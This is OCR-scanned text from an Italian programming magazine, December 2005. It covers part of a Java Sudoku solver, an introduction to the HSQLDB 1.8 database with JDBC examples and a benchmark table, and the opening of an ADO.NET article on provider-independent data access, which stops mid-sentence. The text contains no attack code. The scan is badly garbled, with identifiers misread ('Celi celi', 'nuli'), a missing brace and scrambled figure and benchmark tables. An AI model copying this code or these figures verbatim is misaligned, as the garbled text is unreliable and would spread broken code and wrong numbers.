ro allora annulla la cella associata al numero. 
Al termine nella Map, tutti i numeri con associa- 



ti una cella saranno proprio i numeri che devono 
essere assegnati a quella cella. Il metodo infine 
restituisce true se è riuscito a dedurre almeno un 
valore, false altrimenti. 

private boolean deduceOnRow() 

{ 

Map numbers; 

boolean deduced = true; boolean result = false; 



while (deduced) { 



deduced = false; 



for (int row = 0; row < grid.length; row++) { 



numbers = new HashMap(); 



for (int col = 0; col < grid.length; col ++) { 



Celi celi = grid[col][row] 



if (!cell.hasSingleValue()) { 



Iterator nums = 

cell.getPossìbleValues().iterator(); 



while (nums.hasNext()) { 



Integer num = (Integer) nums.next(); 



if (Inumbers.containsKey(num)) 

numbers. put(num, celi); 
else numbers. put(num, nuli); 



} 



} 



Iterator keylterator = 

numbers. keySet().iterator(); 
while (keyIterator.hasNext()) { 



Integer key = (Integer) 

keylterator. next( ) ; 
Celi aCell = (Celi) numbers. get(key); 
if (aCell != nuli) { 



setCell(aCell.getX(), aCell.getYQ, 

key.intValue()); 



deduced = true; 



result = true; 



} 



return result; 



} 



Il metodo deduceOnRowQ è privato. Viene richia- 
mato attraverso il metodo solvei) 

public void solve(){ 

boolean goOn = true; 
while(goOn){ 

goOn = deduceOnRow(); 



} 



Il test passa con successo. Lasciamo la responsa- 
bilità al lettore di definire i test per la deduzione 
delle celle per colonne e per settori. 

Daniele De Michelis 




http://www.ioprogrammo.it 



Dicembre 2005/ 57 ► 



DATABASE ▼ ■ HSQLDB 1.8 



HSQL: il Database 



da "Formula 1 



n 



Panoramica su HSQL, il database incluso come persistence engine in 
OpenOffice 2.0, che si candida come soluzione stabile e performante 
per progetti di piccole e medie dimensioni 




U CD U WEB 

HSQLDB.Zip 



1% 



•^ ' ' ' 



n 




REQUISITI 



j 1 1 Basi di Java, Basi di 
!S> Standard SQL 

(Structured Query 

Language) 



i Java 2 SE SDK 1.1 o 
J sup. HSQLDB v1.8 



Tempo di realizzazione 



Nella maggior parte dei progetti, sia di 
piccole sia di grandi dimensioni, ci si po- 
ne sempre il problema di trovare la mi- 
gliore soluzione per rendere persistenti i dati. Ta- 
le necessità si ha sia quando si trattano dati pro- 
venienti dall'interno del sistema stesso (tipica- 
mente dati di configurazione), sia quando si de- 
vono memorizzare dati provenienti da sorgenti 
esterne. Solitamente, per memorizzare i dati di 
configurazione, si ha la tendenza ad utilizzare 
meccanismi di facile uso, come ad esempio file 
XML. Quando invece, i dati da memorizzare pre- 
sentano strutture più complesse o si prevede che 
arrivino ad avere dimensioni ragguardevoli, la 
scelta della soluzione adeguata diventa una sola: 
il database. Quando si parla di database si tende 
sempre a pensare ai più famosi quali Oracle, Mi- 
crosoft SQL Server o IBM DB2. Spesso, però, sia 
per motivazioni tecnologiche, sia per quanto ri- 
guarda i costi elevati, la scelta del database si 
sposta su strumenti di più facile utilizzo distri- 
buiti gratuitamente. MySQL è un prodotto che 




1) E indispensabile avere installato sul compu- 
ter Java 2 Standard Edition SDK 1.1 o supe- 
riore. É preferibile utilizzare l'ultima versio- 
ne disponibile dal sito http://iava.sun.com . 

2) Scaricare lo zip file contenente il database 
HSQL dal sito http://sourceforge.net/projects 
/hsqldb . È possibile installare il database, indi- 
pendentemente dalla piattaforma sulla 
quale sarà utilizzato, estraendo il contenuto 
dell'archivio scaricato sul file system. La car- 
tella hsqldb sarà creata automaticamente. 

Il "cuore" del sistema risiede nel file 
hsqldb.jar contenuto nella directory lib. Per 
l'utilizzo all'interno di un determinato pro- 
getto è necessario dichiararlo nel CLASSPATH 
del progetto stesso. La documentazione 
risiede nella cartella dodguìde ed è fruibile 
nei formati HTML e PDF. 



M 



garantisce prestazioni efficienti ed eccellente 
stabilità. Queste ed altre caratteristiche hanno 
permesso che diventasse il database Open Sour- 
ce più usato al mondo. Per poterne sfruttare ap- 
pieno le potenzialità, è però necessaria una di- 
screta conoscenza ed uno studio approfondito 
dello strumento stesso. Se si è alla ricerca di un 
tool più leggero è di utilizzo più intuitivo, la scel- 
ta non può che spostarsi su un'altra tipologia di 
prodotti. HSQLDB è un database Open Source 
completamente scritto in Java che si distingue 
dagli altri tool per leggerezza, semplicità di utiliz- 
zo e prestazioni eccellenti. 
Nel prosieguo di questo articolo vedremo come 
utilizzarlo al meglio in modo da sfruttarne appie- 
no tutte le potenzialità. 



HSQLDB 

HSQL è "figlio" di Hypersonic SQL (dal quale ne 
ha ereditato l'acronimo), un progetto sviluppato 
dal 1995 al 2000 ad opera di Thomas Mueller. 
Originariamente il database supportava solo la 
modalità in-memory. Quando il progetto chiuse 
i battenti, un gruppo di programmatori continuò 
lo sviluppo del prodotto costituendo il "HSQLDB 
Development Group". Da allora il team ha dato 
alla luce sei nuove versioni del database renden- 
dolo di volta in volta più efficiente e ricco di nuo- 
ve ed interessanti funzionalità. La versione cor- 
rente, al momento della stesura di questo artico- 
lo, è la 1.8. Questa major release, che è il risultato 
di un intero anno di sviluppo, rappresenta un 
notevole passo in avanti rispetto alle precedenti. 
Tale salto di qualità è facilmente intuibile se si dà 
uno sguardo alla corposa lista di novità apporta- 
te e bugs risolti, presente nel documento di 
changelog che è situato nella directory doc di 
HSQL. Le migliorie di maggior rilievo sono sicu- 
ramente quelle riguardanti l'aumento delle per- 
formance, l'implementazione di funzionalità 



». 58 /Dicembre 2005 



http://www.ioprogrammo.it 



HSQLDB1.8 ■ T DATABASE 



SQL92 e SQL200n standard e la possibilità di 
creare differenti schemi per singolo database. 
Queste features, insieme a tante altre non elen- 
cate, hanno fatto diventare HSQL un prodotto 
estremamente valido e funzionale, tanto da es- 
sere integrato nella versione 2.0 di OpenOffice 
come database engine. All'interno del file hsql- 
db.jar, contenuto nella directory lib, sono pre- 
senti tutti i componenti di HSQL, che possono 
essere elencati in: database engine, classi costi- 
tuenti il driver JDBC, classi necessarie per la 
comunicazione Client /Server, utility tools e pro- 
grammi dimostrativi. Attualmente, il driver JDBC 
supporta in maniera completa le specifiche 
JDBC 2 ed implementa alcune features JDBC 3. 
È possibile eseguire l' engine in cinque differenti 
modalità: in-memory, server, web-server, servlet 
e in-process. La prima soluzione è quella utiliz- 
zata meno frequentemente in quanto viene 
adottata principalmente nelle applet. Ha la ca- 
ratteristica di non essere persistente in quanto 
lavora esclusivamente in memoria. La struttura 
architetturale delle restanti modalità è illustrata 
in Figura 1. Nel proseguo di questo articolo ana- 
lizzeremo le modalità server e in-process poiché 
maggiormente utilizzate. 







JDBC Interface 








HTTP 
Connection 




Standalone 




HSQL 
Connection 




























































WebServer 




Servlet 






Server 


























Database Engine 



Fig. 1: Architettura di HSQLDB 



introdotta viene solitamente utilizzata quando 
più client, residenti all'interno della rete, devo- 
no accedere alla base dati. Quando, invece, si 
sviluppano applicazioni che fanno un uso 
"esclusivo" del database, diventa preferibile uti- 
lizzare HSQL in esecuzione in-process. Questa 
opzione prende anche il nome di standalone o 
embedded, poiché il database viene eseguito 
all'interno della stessa JVM in cui gira l'applica- 
zione che lo utilizza. Il punto di forza di questa 
modalità è l'estrema velocità: i dati non hanno 
infatti bisogno di essere convertiti e spediti in 
rete come avviene nei database di tipo server. 
Ovviamente una sola applicazione (o JVM) per 
volta può effettuare l'accesso a questo tipo di 
db. Dal punto di vista implementativo la con- 
nessione ad un database di tipo in-process si 
differenzia da quella server solo per quanto ri- 
guarda la composizione dell'URL, la cui sintassi 
deve rispettare il seguente formato: 

jdbc:hsqldb:file:<database> 

dove il valore database dovrà essere sostituito 
con il percorso (assoluto o relativo) del filesy- 
stem, in cui saranno memorizzati la struttura e i 
dati del database. Finora abbiamo parlato uni- 
camente di come avviare un database o come 
riuscire ad ottenere una connessione verso di es- 
so. Qualcuno si sarà sicuramente accorto che 
non è stata ancora menzionata un'operazione 
fondamentale: la creazione. Non esiste una ope- 
razione esplicita per eseguire tale funzione: 
quando un'istanza server viene avviata, oppure 
quando viene effettuata una nuova connessione 
standalone, un nuovo database vuoto viene au- 
tomaticamente creato, se ancora non esiste. Tut- 
te le tipologie di engine HSQL presentano la me- 
desima struttura, che consiste in un insieme di 
file. Ad esempio, il database con nome "ioPro- 
grammo" sarà costituito dai seguenti files: 





I TUOI APPUNTI 



SERVER & STANDALONE 

L'esecuzione dell'engine HSQL in modalità ser- 
ver utilizza un protocollo di comunicazione 
proprietario. Tra tutte le opzioni disponibili, 
questa metodologia di esecuzione risulta esse- 
re la più affidabile in termini di stabilità ed ac- 
cessibilità. L' engine viene infatti eseguito in 
una Java Virtual Machine dedicata, che rimane 
in ascolto delle richieste di connessioni effet- 
tuate dagli altri computer presenti nella rete. 
Per avviare il server con tali caratteristiche è ne- 
cessario eseguire la classe org.hsqldb. Server. 
Aggiungendo il parametro "-?" verrà visualizza- 
ta l'intera lista di opzioni disponibili per l'avvio 
del server. La modalità di esecuzione appena 



ioProgrammo.properties: contiene le im- 



OPEIMOFFICE.ORG 



OpenOffice è una 
suite per ufficio Open 
Source di produttività 
personale, distribuita 
con licenza LGPL da 
Sun MicroSystems. 
È un'applicazione 
multipiattaforma di- 
sponibile in circa 60 
differenti versioni lin- 
guistiche. Attualmen- 
te è possibile scaricare 



la versione 2.0 (beta 
2) che è corredata dei 
seguenti componenti: 
Writer (editor di testo 
ed HTML), Impress 
(tool per la creazione 
di presentazioni 
multimediali). Cale 
(foglio di calcolo), 
Draw (grafica 
vettoriale), Math 
(creazione di equazio- 



ni e formule matema- 
tiche). Base (archivio 
dati). 

Una delle più interes- 
santi caratteristiche di 
OpenOffice è quella di 
poter esportare/im- 
portare i documenti in 
formati diversi (pdf, 
xml, Macromedia 
Flash, SVG, Microsoft 
Office). 



http://www.ioprogrammo.it 



Dicembre 2005/ 59 ► 



DATABASE T ■ HSQLDB 1.8 




PRINCIPALI 

CARATTERISTICHE 

DI HSQL 

• Scritto interamente in 
Java 



• Il codice sorgente è 

disponibile 

• L'intero database è 
scritto su files residenti 

su disco 

• Possibilità di gestire i 
data files con le API nio 

• Implementa quasi 

interamente lo standard 

ANSI-92 SQL 

• La dimensione delle 

stringhe e dei file binari 

è limitata solo dalla 

dimensione della 

memoria disponibile 

• Portabilità garantita su 

qualsiasi piattaforma 

• Possibiltà di importare i 

dati da file CSV 



postazioni generali del database (garbage 
collector interval, versione, dimensione mas- 
sima file di log, ecc.). 

ioProgrammo.data: contiene i dati, in for- 
mato binario, delle tabelle di tipo cached. 
ioProgrammo.backup: contiene gli ultimi 
dati presenti nel file .data in formato com- 
presso. 

ioProgrammo.script: contiene la definizio- 
ne delle tabelle e i dati contenuti nelle tabelle 
di tipo non-cached. 

ioProgrammo.log: contiene le ultime ope- 
razioni effettuate sulla base dati. 



TABELLE E COMANDI 

È possibile distinguere i tipi di tabelle supportati 
da HSQL in due macro categorie: persistenti e 
non persistenti. Quest'ultime, che sono anche 
dette temporanee, vengono contraddistinte dalla 
parola chiave TEMP e sono pienamente compa- 
tibili con la dichiarazione delle GLOBAL TEM- 
PORARY definita dal SQL 92 standard. Le tabelle 
persistenti si suddividono a loro volta in tre clas- 
si: MEMORY, CACHED e TEXT. È possibile crea- 
re un tabella appartenente alla prima tipologia 
attraverso la sintassi standard: 

CREATE TABLE <TABLE_NAME> 

(<COLUMNS_DEFINITION) 

Durante il loro ciclo di vita i dati vengono mante- 
nuti in memoria, mentre i cambiamenti alla 
struttura vengono scritti nel file .script. 



Le tabelle di tipo CACHED, create con il coman- 
do: 

CREATE CACHED TABLE <TABLE_NAME> 

(<COLUMNS_DEFINITION) 

non fanno uso della memoria (ad esclusione de- 
gli indici) ma operano direttamente sul file .data. 
Consentono quindi la creazione di tabelle di 
grandi dimensioni e migliorano la velocità di 
startup del database. Ovviamente, le prestazioni 
a runtime non sono paragonabili a quelle avute 
con le tabelle di tipo MEMORY. L'ultimo tipo di 
tabelle, quelle di tipo TEXT, consentono l'uso di 
file CSV (Comma Separeted Value) come sor- 
genti dati. Di seguito è illustrata la sequenza di 
comandi da utilizzare per creare e popolare una 
tabella da un file CSV: 

CREATE TEXT TABLE <TABLE_NAME> 

(<COLUMNS_DEFINITION) 
SET TABLE <TABLE_NAME> SOURCE <CSV_FILE> 

Su tutte le tipologie di tabelle, una volta create, 
sarà successivamente possibile eseguire i vari co- 
mandi specificati dagli standard SQL 92. Di se- 
guito è riportato un frammento di codice Java 
per la connessione ad un database di tipo stan- 
dalone e l'esecuzione di uno statement di upda- 
te su una specifica tabella: 

// carichiamo il driver HSQL 

Class. forName("org.hsqldb.jdbcDriver"); 

// otteniamo una connessione verso un db standalone 

// (verrà automaticamente creato in caso non esista) 



HSQL SERVER IN SEI PASSI 

Vediamo come creare in maniera semplice e veloce l'erigine di HSQL in modalità server. Verranno inoltre illustrate 
alcune funzioni del tool DatabaseManager (versione Swing) compreso nella distribuzione 



> OPZIONI DI AVVIO 



> INFORMAZIONI DI AVVIO > DATABASE MANAGER 




File View 

■ 9 Cle 


Gommami Recent Opt 


olii Tool; Schema 


Help 








rSOJ.! 


A Beccute SQL 




" 


; 








-■ 












Recent Setting: 

Type: 
Driver 
URL 

Usar. 
Password: 


io Pro grani ino 




■* 








oPragramrnc 






HSQL Database Engin 

cirg.ri5Qldrj.jdbcDriver 
jdbc:hsqldb:risql://locs 


f In-Mem 


"*' 


sa 




















| Cleu hiaiìics | Ok 


Can 



















I Partendo dalla homedir lanciamo il 
I server dichiarando nome, database e 
porta su cui il server girerà. 



Sullo standard output verranno vi- ^^ Esecuzione della classe org.hsqldb.util 
Isuallizate informazioni generali sul mM.DatabaseManagerSwing e successi- 
server e sulle sue attività. va configurazione della connessione. 



»> 60 /Dicembre 2005 



http://www.ioprogrammo.it 



HSQLDB1.8 ■ T DATABASE 



Connection conn = DriverManager 

.getConnection("jdbc:hsqldb:", "sa", ""); 
// comando sql per aggiornare i dati nelle colonna 

MYCOLUMN con valore nuli 



String sqlUpdate 



"update MYTABLE set MYCOLUMN 
'xxxx' where MYCOLUMN = nuli "; 



// creiamo uno statement ed eseguiamo il comando 
Statement stmt = conn.createStatement(); 



stmt.execute(sqlUpdate); 



// chiudiamo statement e connessione 



stmt.closeO; 



conn.closeQ; 



QUANTO E VELOCE 
HSQL? 

Come già affermato in precedenza, la scelta di un 
database può essere legata a svariati fattori. Una 
caratteristica importante che spesso influisce su 
tale decisione sono le performance. Quando ci si 
trova a confrontare differenti applicativi si è soli- 
ti seguire delle metodologie standard, definite 
benchmark test. PolePosition è una suite Open 
Source che offre un insieme di test applicabili ai 
database equipaggiati con driver JDBC. Gli attori 
principali sono interamente ispirati secondo la 
struttura di una competizione automobilistica. 
I database engine formano le squadre automobi- 
listiche mentre i circuiti rappresentano i diversi 
insiemi di test applicabili. Sul sito del progetto 
(http://www.polepos.org) è possibile consultare 
una serie di test effettuati su un gruppo di data- 
base Open Source, compresi HSQL e MySQL. 
Analizzando i test eseguiti è facile notare che 
HSQL risulta essere il più performante nella 
maggior parte dei casi. La spiegazione di questi 
convincenti risultati è legata principalmente ad 



un fattore chiave: la maggior parte dell'elabora- 
zione viene eseguita in memoria. Inoltre, in que- 
st'ultima release, è stata aggiunta la possibilità di 
accedere ai .data file mediante le API NIO (New 
Input/Output). In Figura 2 è riportato il test di 
scrittura relativo al circuito Melbourne: HSQL 
risulta circa otto volte più veloce di MySQL. 





Utìmoinms] 


objects: 3Q0O 


objects: 10000 objects:30000 


objects :1 00000 


db4o/4.5.200 


496 


931 


2450 


8508 


Hibernate/hsqldb 


IDZfi 


1602 


san 


23687 


Hibernate/mysql 


2006 


SS70 


15380 


61503 


JDBC/MySQL 


799 


3050 


7920 


261-17 


J DBCJMckoi 


2009 


•li 59 


1 4589 


48335 


JDECJDerby 


1236 


13B3 


3396 


13498 


JDBC/HSQLDB 


91 


291 


9til 


3113 


JDCWCWmysql 


1104 


2814 


3543 


28851 



Fig. 2: Confronto sul tempo di scrittura sul circuito 
Melbourne 



CONCLUSIONI 

Sebbene MySQL rimanga sempre lo strumento 
Open Source più idoneo ad applicazioni che ri- 
chiedono maggiore sicurezza e robustezza, 
HSQL si propone come interessante alternativa 
soprattutto per la sua semplicità d'uso e le otti- 
me prestazioni. Da tenere d'occhio anche le suc- 
cessive evoluzioni di prodotto, poiché nella lista 
di future features, che il gruppo promette di im- 
plementare, compaiono diverse novità di estre- 
ma utilità, come ad esempio il supporto a funzio- 
nalità legate alla piattaforma enterprise (transa- 
zioni JTA/XA, connection pooling, JMS, ecc.) e 
l'implementazione di un connettore alternativo 
al driver JDBC che permetterà l'uso di HSQL da 
applicazioni scritte con linguaggi diversi da Java. 

Fabrizio Fortino 





SUL WEB 



Altri database Open 
Source: MySQL 

http://www.mvsql.com 

McKoi 

http://mckoi.com/database 

Apache Derby 

http://incubator.apache 
.orq/derbv 

db4objects 

http://www.db4o.com 

PostgreSQL 

http://www.postgresql.org 

Firebird 

http://firebird.sourceforge 
.net 

InterBase 

http://info.borland.com 

/devsupport/interbase 

/opensource 



> CREIAMO UN UTENTE 



rag 



I Creazione di un utente con relativa 
(password con permessi amministrati- 
vi sull'intero database. 



> ESECUZIONE DI UN TEST 



| [ScieaiSQL *B<ecuteSQL] 


□ Jdbc:hsqldb:hsql://localliost:5000 
1 aProoerties 
Q user: 5A 
Q ReaciOnly tt. 

Q Produci: HSQL Daabase Engine 


Bi 


: 


ir~iir~ 


«ElT^E^e'udTNTECEF.FR^.K,,. 




















870 














Ready 



I Esecuzione di un elenco di test standard 
Ida Command -> Test Script. Si noti la 
query SQL. 



> STABILIAMO 
UNA CONNESSIONE 



try [ 








class, f ornarne ( "erg . hsqldt 


. jdicDriver 


! ; 




] nateli EException e) £ 








System. cu t sprintine "HRROR: failed to 






load 


HEQLDB ...1 !.'*'. 


drive 


L" . " ) P 


e. printEta.ckTra.ee ( ) ; 








return; 








Connection e = DriverManager. 


gè t Come e ti 


™( 




" jdfccshaqldb 


hsql: //loca 


lhoat 


5000", 


" ioPrc 


grammo " , " ioPpogr 


anuno " J ; 





Ecco come connettersi da un'applica- 
Izione Java. Adesso possiamo usare 
HSQL dall'interno del nostro codice. 



http://www.ioprogrammo.it 



Dicembre 2005/ 61 ► 



DATABASE ▼ I Scrivere codice indipendente dal provider 



Qualche trucco per 
migliorare Ado.NET 

Impareremo come utilizzare Managed Provider specifici per un certo 
tipo di database, scrivendo però un unico codice. In questo modo 
risparmieremo tempo e creeremo software indipendente dal DB 




LI CD LI WEB 

adonetzip 



•^ ' ' ' 



n 




REQUISITI 



ranl .NET livello intermedio 



O Microsoft Windows 
ÙJ 2000 oXPe Microsoft 
Visual Studio .NET 2003 



l^l^3l^l=2_j 



Tempo di realizzazione 



l-A (A M M M 



ADO.NET è la parte del framework .NET 
che si occupa dell'accesso ai database e 
che vorrebbe riprendere l'eredità, nonché 
il successo, del precedente strato ADO tanto caro 
agli sviluppatori Visual Basic 6. In realtà rispetto 
ad ADO, ADO.NET è profondamente diverso, sia 
nell'architettura e nella logica generale, sia nella 
firma dei metodi e negli oggetti esposti. 
ADO.NET si divide in due parti (Figura 1): lo stra- 
to alto che contiene strutture come il dataset, il 
datatable (la tabella), il datarow (il campo), il da- 
taview (la vista) e lo strato legato al database spe- 
cifico e cioè lo strato del Managed Provider. Lo 
strato alto è indipendente dal database fisico sot- 
tostante al punto che può essere anche non ba- 
sato su un database fisico, ma può essere utiliz- 
zato come struttura dati in memoria o su file 
(grazie alla persistenza xml) alla stregua delle 
collection, degli array o di ogni altra forma strut- 
turata di rappresentazione di dati in memoria e 
lo strato legato al database specifico. Il secondo 
strato, invece, è profondamente legato al tipo di 
database a cui deve collegarsi. Ne esistono per 
SQL Server, per Oracle, di generici che si inter- 
facciano ai driver ODBC o a OLEDB, ma anche 
alcuni che si connettono a fonti dati non neces- 
sariamente che rientrano nella definizione di da- 
tabase relazionale, come ad esempio Exchange e 
il file system. La specificità dei managed provider 
è sicuramente un lato positivo perché consente 
di sfruttare al massimo le peculiarità di ciascun 









B Connessione 


DataAdapter 
| SelectCommand 






| Transazione | 




1 Comando 


llnsertCommand 




| Parametri 


UpdateCQmmand 








1 DataReader 


| DeleteCommand 






D ataRela t i or Coli ectio n 



t 

XML 



Fig. 1: Architettura eli ADO.NET 



database, anziché appiattire tutto come faceva 
ODBC o il vecchio ADO. Il rovescio della meda- 
glia è che non è più possibile scrivere codice "sle- 
gato" rispetto al database, ma va riscritta una 
versione specifica per ciascun database, a meno 
che non si voglia usare un managed provider ge- 
nerico e meno efficiente come quello che si con- 
nette ad ODBC o a OLE DB. E così, sfruttando gli 
specifici managed provider avremo altrettante 
versioni specifiche delle nostre applicazioni per 
ciascun database supportato. 
Ma come salvare capra e cavoli? Cioè, è possibile 
sfruttare al massimo ciascun database usando 
managed provider specializzati e, al contempo, 
scrivere codice generico e non specifico per 
managed provider? In questo articolo vedremo 
come realizzare una soluzione elegante ed effi- 
ciente al problema. 



ESEMPI DI CODICE 
TRADIZIONALE ADO. NET 

Osserviamo alcuni brevi esempi di codice che 
introducono al problema. Innanzitutto dobbia- 
mo inserire un riferimento alYassembly System 
.Data.Dll nel progetto, operazione fondamental- 
mente superflua visto che Visual Studio 2003 lo fa 
sempre in autonomia per noi ad ogni nuovo pro- 
getto creato. 

È bizzarro, se non fastidioso, rilevare che Micro- 
soft, per ragioni inesplicabili, abbia deciso di in- 
serire il data provider SQL Server nello stesso as- 
sembly che contiene la parte alta di ADO .NET A 
questo punto possiamo aggiungere le using nel 
codice: 

using System. Data; 

// aggiunge un riferimento allo 

// strato alto di ADO.NET 

using System. Data. SqlClient; 

// aggiunge un riferimento al 

// managed provider per SQL Server 



». 62 /Dicembre 2005 



http://www.ioprogrammo.it 



Scrivere codice indipendente dal provider I T DATABASE 



La prima si riferisce alla parte alta diADO.NET, la 
seconda al provider dedicato a SQL Server 

//viene istanziata una connessione a SQL Server, 
// passando al costruttore la connectionstring 
SqlConnection connection = new SqlConnection( 

"Password=sa;Persist Security Info=True;User 

ID=sa;Initial Catalog = Data baseManager; Data 

Source=(local)"); 

//viene istanziato il Data Adapter 



//specifico di SQL Server 



SqlDataAdapter adapter = new SqlDataAdapter(); 



//viene istanziato il Command, specifico per 
//SQL Server, che conterrà la query di selezione 
SqlCommand command = new SqlCommand("select 
* from project", connection); 



//il command viene assegnato come command 
//di selezione dell'adapater 



adapter.SelectCommand = command; 



// viene istanziato un dataset che 
// conterrà il risultato della query 
DataSet ds = new DataSet(); 

// il comando Fill() del Data Adapter si occupa di 

// eseguire la query specificata aggiungendo un 

// datatable con le righe restituite al dataset passato 

// come parametro 

adapter.Fill(ds); 



//possiamo così finalmente accedere al datatable 
// contenente le righe restituite dalla query 
DataTable dt = ds.Tables[0]; 



I commenti nel codice spiegano passo passo l'i- 
ter da seguire. Ma adesso osserviamo il codice 
che dovremmo scrivere se volessimo accedere ad 
un database Oracle utilizzando il Data Provider 
nativo per Oracle scritto da Microsoft (non è un 
ossimoro...). Innanzitutto dovremo aggiungere 
nel progetto un riferimento all'assembly del data 
provider Oracle che troviamo nella GAC e che 
corrisponde al file System.Data.OracleClient.Dll 
oltre al System.Data.Dll di cui sopra. 
Ed ecco le using relative: 



using System. 


Data; 






//aggiunge un 


riferimento 


allo strato alto d 


ADO.NET 


using System. 


Data.OracleClient; 




//aggiunge un 


riferimento 


al managed 




// provider per Oracle 8.x 


o superiore 





Il codice da scrivere per realizzare l'equivalente 
di quanto visto sopra è il seguente: 



OracleConnection connection = new 

OracleConnection("Password=sa;User ID= 

VEX_DBMANAGER;Data Source=oravex;Persist 

Security Info=True"); 

OracleDataAdapter adapter = new OracleDataAdapterQ; 

OracleCommand command = new OracleCommand( 

"select * from project", connection); 
adapter.SelectCommand = command; 
DataSet ds = new DataSet(); 
adapter.Fill(ds); 
DataTable dt = ds.Tables[0]; 

Si può osservare come il codice sia praticamente 
identico, anche se, facendo uso di assembly e di 
nomi di oggetti diversi, va riscritto due volte. La 
storia non cambia di molto per la scrittura dei 
dati. Osserviamone la versione per SQL Server: 

using System. Data; 

using System. Data. SqlClient; 

SqlConnection connection = new SqlConnection( 

"Password=sa;Persist Security Info=True;User 

ID=sa;Initial Catalog = DatabaseManager;Data 

Source=(local)"); 

SqlDataAdapter adapter = new SqlDataAdapterfJ; 

//istanziazione del command specifico delle operazioni 

//di inserimento di nuovi record 

SqlCommand insertCommand = new SqlCommand( 

"insert into project (project, projectname) values 
(©project, @name)", connection); 
//creazione dei due parametri da passare agli statement 
//sql, tra le proprietà del costruttore troviamo il nome del 
//parametro, il suo tipo secondo la mappatura prevista 
//dal data provider, la sua lunghezza e il nome del campo 
// corrispondente nel datatable soggetto alla scrittura sul 
//database 

SqlParameter parameterProject = new SqlParameter( 
"project", SqlDbType.Int, 4, "project"); 
SqlParameter parameterProjectName = new 

SqlParameter("project", SqlDbType.VarChar, 255, 

"projectname"); 



//aggiunta dei due parametri al command di insert 
insertCommand. Parameters.Add( parameterProject); 
insertCommand. Parameters.Add(parameterProjectName); 
adapter.InsertCommand = insertCommand; 



//istanziazione del command specifico 
//delle operazioni di aggiornamento dei record 
SqlCommand updateCommand = new 

SqlCommand("update project set projectname = 
@name where project = ©project", connection); 
adapter.UpdateCommand = updateCommand; 



//codice omesso; aggiungere i parametri al command 
//di update istanziazione del command specifico delle 
//operazioni di cancellazione dei record 





I TUOI APPUNTI 



http://www.ioprogrammo.it 



Dicembre 2005/ 63 ► 



DATABASE T 



Scrivere codice indipendente dal provider 




SqlCommand deleteCommand = new SqlCommand( 
"delete from project where project = ©project", 

connection); 
adapter.DeleteCommand = deleteCommand; 
//codice omesso; aggiungere i parametri al command 
//di delete esecuzione del metodo di aggiornamento 
//dei dati; dt è proprio il datatable che si intende 
//aggiornare sul database 
adapter.Update(dt); 

Non ci stupirà trovare un'evidente analogia nella 
versione per Oracle: 

using System. Data; 
usìng System. Data. SqlClient; 
using System. Data. OracleClient; 
OracleConnection connection = new OracleConnection( 
"Password=sa;User ID=VEX_DBMANAGER;Data 
Source=oravex;Persist Security Info=True"); 
OracleDataAdapter adapter ■■ 



new 

OracleDataAdapterQ; 



OracleCommand insertCommand = new 

OracleCommand("insert into project (project, 
projectname) values (: project, :name)", 
connection); 
OracleParameter parameterProject = new 

OracleParameter("project", OracleType.Int32, 4, 

"project"); 
OracleParameter parameterProjectName = new 

OracleParameter("name", OracleType.VarChar, 255, 

"projectname"); 

insertCommand. Parameters.Add (parameterProject); 

insertCommand. Parameters.Add(parameterProjectName); 

OracleCommand updateCommand = new 

OracleCommand("update project set projectname = 

:name where project = : project", connection); 

//codice omesso; aggiungere i parametri 



//al command di update 



OracleCommand deleteCommand = new 

OracleCommand("delete from project where 
project = : project", connection); 

//codice omesso; aggiungere i parametri 



//al command di delete 



adapter.InsertCommand = insertCommand; 
adapter.UpdateCommand = updateCommand; 
adapter.DeleteCommand = deleteCommand; 
adapter.Update(dt); 

Il datatable dato in pasto al metodo Update, che 
tipicamente contiene righe cancellate, righe mo- 
dificate, righe nuove e righe inalterate viene sot- 
toposto alla scrittura nel database: vengono 
ignorate completamente le righe inalterate, inve- 
ce per ciascuna delle altre righe viene eseguito il 
command specifico (cancellazione, inserimento 
o aggiornamento). Lo stato delle righe è conser- 



vato nella proprietà RowState di ciascuna Data- 
Row, proprietà che non può essere modifica da 
codice da scelta progettuale Microsoft. 



uni APPROCCIO 
PIÙ GENERICO 

Il codice è perfettamente identico in entrambi i 
casi e lo sarebbe anche se esaminassimo altri 
esempi con data provider differenti, anche non 
scritti da Microsoft. Ma proviamo ad indagare 
sulle possibili ragioni di questa somiglianza; os- 
serviamo, a scopo di esempio, un estratto dei 
membri pubblici della firma dell'oggetto SqlCon- 
nection: 



public sealed class SqlConnection : Component, 

IDbConnection, IDisposable, ICIoneable 


{ 


public 


SqlConnection(); 


public 


SqlConnection(string connectionString); 


public 


void Close(); 


public 


SqlCommand CreateCommand(); 


public 


void Open(); 


IDbTransaction IDbConnection. BeginTransaction(); 


IDbCommand IDbConnection. CreateCommand(); 


public 


string ConnectionString { get; set; } 


public 


ìnt ConnectionTimeout { get; } 


public 


string Database { get; } 


public 


string DataSource { get; } 


public 


int PacketSize { get; } 


public 


ConnectionState State { get; } 


//il resto è omesso per brevità 


} 



Se facciamo la stesso con la connessione Oracle, 
otteniamo quanto segue: 

public sealed class OracleConnection : Component, 

ICIoneable, IDbConnection, IDisposable 



{ 



public OracleConnection(); 



public OracleConnection(string connectionString); 
public OracleTransaction BeginTransactionQ; 



public void Close(); 



public OracleCommand CreateCommand(); 



public void Open(); 



void IDbConnection. ChangeDatabase(string value); 
IDbCommand IDbConnection. CreateCommand(); 
int IDbConnection. get_ConnectionTimeout(); 
public string ConnectionString { get; set; } 



public string DataSource { get; } 



public ConnectionState State { get; } 



//il resto è omesso per brevità 



Possiamo osservare che i principali metodi sono 



»> 64 /Dicembre 2005 



http://www.ioprogrammo.it 



Scrivere codice indipendente dal provider I Y DATABASE 



comuni e che entrambi implementano l'interfac- 
cia IDbConnection. Così, facendoci aiutare da Re- 
flector, un comodo tool per analizzare il codice 
.NET a partire dagli assembly... un disassembla- 
tore insomma, osserveremo la definizione del- 
l'interfaccia IDbConnection: 

public interface IDbConnection : IDisposable 

{ 

IDbTransaction BeginTransaction(); 
IDbTransaction BeginTransaction(IsolationLevel il); 
void ChangeDatabase(string databaseName); 



void Close(); 



IDbCommand CreateCommand(); 



void OpenQ; 



string ConnectionString { get; set; } 



int ConnectionTimeout { get; } 



string Database { get; } 



ConnectionState State { get; } 



} 



Essa espone praticamente gran parte dei metodi 
pubblici dell'oggetto Connection. Questo signifi- 
ca che potremmo riferirci a qualunque oggetto 
connection di qualunque provider semplicemen- 
te attraverso l'interfaccia IDbConnection. Se con- 
tinuiamo con la nostra analisi sugli oggetti adap- 
ter, command e parameter, data reader e transac- 
tion di entrambi i provider, ci accorgiamo che es- 
si implementano rispettivamente le seguenti in- 
